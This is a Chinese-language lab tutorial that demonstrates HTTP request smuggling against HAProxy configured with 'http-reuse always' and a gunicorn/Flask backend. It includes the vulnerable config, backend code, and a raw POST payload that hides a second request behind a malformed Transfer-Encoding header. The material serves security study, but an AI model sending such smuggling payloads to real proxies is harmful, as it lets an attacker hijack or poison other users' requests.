Haproxy 介紹
HAProxy是一個使用C語言編寫的自由及開放源代碼軟件,其提供高可用性、負載均衡,以及基於TCP和HTTP的應用程序代理。
請求走私(Request smuggling)概念證明
使用下面的haproxy.cfg
defaults
mode http
timeout http-keep-alive 10s
timeout connect 5s
timeout server 60s
timeout client 30s
timeout http-request 30s
backend web
http-reuse always
server web0
127.0
.
0.1
:
6767
frontend http
bind *:
1080
timeout client 5s
timeout http-request 10s
default_backend web
|
配置的關鍵是http-reuse always , 這不是HAProxy中處理連接重用的默認選項。在此處查看有關此設置的更多詳細信息:http://cbonte.github.io/haproxy-dconv/1.9/configuration.html#4.2-http-reuse。
這對於搭建請求走私環境至關重要,因為我們希望從HAProxy到后端服務器的受害者連接可以重用攻擊者控制的連接。
啟動負責均衡服務器
haproxy -f haproxy.cfg
對於后端,我們需要一個HTTP服務器,該服務器將與HAProxy 一起使用,並且將解析格式錯誤的Transfer-Encoding標頭為有效,並且在解析請求時 ,Transfer-Encoding 將會優先 Content-Length 進行解析。發現其中一個是Python gunicorn應用服務器(已針對最新的19.9.0 進行測試),
下面使用Flask的演示Web應用程序,當與HAProxy錯誤結合使用時,該應用程序應該容易受到請求走私的攻擊。首先,讓我們安裝先決條件
pip install flask
pip install gunicorn
pip install gunicorn[gevent]
backend.py 代碼如下
from flask
import
Flask, request, jsonify
app = Flask(__name__)
@app
.route(
'/'
, methods=[
'GET'
,
'POST'
])
def main():
# the next line is required
for
Transfer-Encoding support in the request
request.environ[
'wsgi.input_terminated'
] = True
headers = {}
for
header in request.headers:
headers[header[
0
]] = header[
1
]
return
jsonify(body=request.data, headers=headers)
|
啟動WEB服務器
gunicorn --keep-alive 10 -k gevent --bind 0.0.0.0:6767 -w 20 backend:app --access-logfile -
我們怎么知道我們已經走私了?當我們在Turbo Intruder中發起這種攻擊時,其中的一個響應請求的響應大小會不同,可以看到響應包里面有一個走私請求


更直觀的感受
1.先用Intruder 對目標發起GET /xxxx 的請求操作,
2.然后在Repeater里發送如下數據包 ,注意 Transfer-Encoding 與 chunked之間是\x0b 其實\x0c也是有效的
POST / HTTP/
1.1
Host:
10.0
.
83.77
:
1080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/
5.0
(Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
71.0
.
3578.98
Safari/
537.36
Connection: keep-alive
Content-Type: application/json
Content-Length:
30
Transfer-Encoding: chunked
0
GET / HTTP/
1.1
X-Test: x
|

